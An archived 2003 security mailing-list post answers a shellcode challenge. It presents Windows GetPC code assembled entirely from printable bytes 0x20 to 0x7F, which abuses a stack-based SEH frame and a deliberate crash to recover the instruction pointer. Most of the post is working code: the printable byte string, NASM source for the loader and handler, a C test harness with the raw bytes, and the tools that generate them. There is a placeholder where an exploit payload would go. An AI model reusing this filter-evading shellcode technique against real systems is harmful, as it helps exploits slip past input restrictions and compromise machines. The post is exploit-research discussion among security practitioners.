Re: GetPC code (was: Shellcode from ASCII)

From: Costin Ionescu (costin.ionescu_at_fokus.fraunhofer.de)
Date: 07/01/03

  • Next message: Michal Zalewski: "Red Hat 9: free tickets"
    Date: Tue, 01 Jul 2003 18:56:45 +0200
    To: Gerardo Richarte <gera@corest.com>
    
    
    

    I think I solved your 2nd challenge, but only under Windows. Under Linux
    I don't know yet.

    The idea: push some code on the stack, put a SEH frame also on the stack
    (the frame
    points to the code on the stack) and crash! by modifying at that f**kin'
    NULL :-)
    The code on the stack will receive control and will get the exception
    address from parameters
    passed to SEH function. ALL THIS ONLY WITH 20-7F bytes ( sorry, I *had*
    to shout it out :) )
    I've seen now that somebody on the list had a similar idea with this SEH...

    Under linux I don't know anything similar to SEH in Windows. You could
    set a signal handler for
    SIGILL/SIGSEGV with sigaction and you can find out the crash address.
    The problem is calling
    the sigaction syscall which means int 80h ( CD 80 )... So no more 20-7F
    bytes :-(

    Anyway *EXTRA-ELLEGANT* solution given by noir !!!!!!!!!! WOW!!!

    Now the short version:
    T]hAAAAYQX-qpPP5/7``PQX-Q AA5^?
    X\PQX-AA!A5d$(dPQX-AAQP5G10{PQX-Q@!A5{{,GPQX-Q@A!5{\$$PT[W)<$_W^d3>USWd1>d1&1&
    (warning! the ^? above is 7Fh)

    And the long version is

    getpc.asm (nasm-like syntax):

    bits 32

    push esp
    pop ebp ; store stack pointer before the dirty work
     
     
    %include "stkcode.inc" ; push code on stack
     
    push esp
    pop ebx ; ebx = my SEH func

    push edi
    sub [esp], edi
    pop edi ; edi = 0

    push edi
    pop esi ; esi = 0

    xor edi, [fs:esi] ; edi = fs:[0]

    push ebp ; store orig ESP
    push ebx ; my SEH func
    push edi ; old SEH frame

    xor [fs:esi], edi ; fs:[0] = 0
    xor [fs:esi], esp ; fs:[0] = esp (new SEH frame)

    xor [esi], esp ; crash!
    ; put the exploit code here ! :-D
    ; the following code is to make a working test.c
    push edi
    pop eax
    ret

    Now stkcode.inc is generated to push on the stack (using 20-7Fh bytes).
    The pushed code on the stack (which has all 00-FF opcodes now because is
    generated)
    looks like this:

    bits 32
    myseh:
            mov ebx, [esp + 04h] ; ebx <- structure with exception info
            mov edi, [ebx + 0Ch] ; oooo! ze Exception Address
            inc edi ; ehmmm
            inc edi ; skip that crashing instruction (2 bytes)
            xor eax, eax
            mov esp, [esp +08h] ; give back my stack!
            pop dword [fs:eax] ; restore old SEH frame
            pop eax ; this was the pointer to myseh
            pop esp ; ahh! the clean stack
            jmp edi ; go!
            nop ;
            nop ; make this code size multiple of 4 (so my tools work)
                        ; of course this can be optimized

    Now a quick test:

    #include <stdio.h>

    /* Last 3 bytes are to return from this "function" with the result code
    the exploit address (meaning
     * a pointer to these 3 bytes). The other bytes are in 20-7Fh range!!! */
    char code[] = {
    /* 0000 */ 0x54, 0x5D, 0x68, 0x41, 0x41, 0x41, 0x41, 0x59, 0x51, 0x58,
    0x2D, 0x71, 0x70, 0x50, 0x50, 0x35,
    /* 0010 */ 0x2F, 0x37, 0x60, 0x60, 0x50, 0x51, 0x58, 0x2D, 0x51, 0x20,
    0x41, 0x41, 0x35, 0x7F, 0x20, 0x58,
    /* 0020 */ 0x5C, 0x50, 0x51, 0x58, 0x2D, 0x41, 0x41, 0x21, 0x41, 0x35,
    0x64, 0x24, 0x28, 0x64, 0x50, 0x51,
    /* 0030 */ 0x58, 0x2D, 0x41, 0x41, 0x51, 0x50, 0x35, 0x47, 0x31, 0x30,
    0x7B, 0x50, 0x51, 0x58, 0x2D, 0x51,
    /* 0040 */ 0x40, 0x21, 0x41, 0x35, 0x7B, 0x7B, 0x2C, 0x47, 0x50, 0x51,
    0x58, 0x2D, 0x51, 0x40, 0x41, 0x21,
    /* 0050 */ 0x35, 0x7B, 0x5C, 0x24, 0x24, 0x50, 0x54, 0x5B, 0x57, 0x29,
    0x3C, 0x24, 0x5F, 0x57, 0x5E, 0x64,
    /* 0060 */ 0x33, 0x3E, 0x55, 0x53, 0x57, 0x64, 0x31, 0x3E, 0x64, 0x31,
    0x26, 0x31, 0x26, 0x57, 0x58, 0xC3,
    };

    int main ()
        {
        void* (*p)();
        p = (void* (*)())(&code[0]);
        printf("full code = %p. exploit code = %p.\n", &code[0], p());
        return (0);
        }

    Thoughts for Linux version:
    I understood that at gs:0 there is a structure containing some thread
    information. Maybe there is
    also a map of signal handlers or anything else potentially usefull. If
    someone knows better this
    stuff maybe will help us.

    I attached a rar archive with all the stuff necessary to test my idea.
    The files are:
    cc.bat <- a batch to call the C compiler (I tested with BC 5.5)
    cdump.c <- dumps a binary file in a C-form
    gen.c <- generates code only with 20-7F bytes that pushes on the
    stack the data in the input file
    getpc.asm <- main code
    stkcode.asm <- stack code
    stkcode.inc <- generated with gen.exe
    getpc.h <- generated with cdump.exe
    test.c <- ze damn test

    You will need nasm to compile the asm files.

    Greetingz,

    ico

    
    



  • Next message: Michal Zalewski: "Red Hat 9: free tickets"

    Relevant Pages

    • Re: Is it wise to push all-in early in a tournament?
      ... The best times to make a push play ... But why call when you can push and take down a nice pot when your opponent ... But remember that if this "big bet" is a significant portion of your stack, ... I consider it my goal in any tournament to do the latter as much as ...
      (rec.gambling.poker)
    • Re: Is it wise to push all-in early in a tournament?
      ... whether or not the rest of the table is splashing chips around. ... I may push more than I want to and you may be more conservative than ... Do I want to play this opponent after the flop? ... push at anytime and I may not want to risk my stack on a suckout when I ...
      (rec.gambling.poker)
    • Virtual machine: assembly instructions
      ... push; Push the address of the first variable onto the stack ... itof: convert integer to float ... If top+1 of int stack is less than top; push true else push false ...
      (comp.programming)
    • Re: Building Unification Table - tranforming prolog like notation into lisp notation
      ... |> problem comes from tranlating prolog notation into lisp notation. ... ;; Here is a quickly done stack based solution for the problem Slobodan ... (defstruct composite-term str indices) ... (push (cons (composite-term-str item) ...
      (comp.lang.lisp)
    • Re: Free word order
      ... > Frontwardness of language: Going S O V. ... I agree that SVO is a bit mixed-up for me as a native speaker of a SOV ... In a SOV language by analogy, the arguments are pushed to the stack ... no idea so push it ...
      (sci.lang)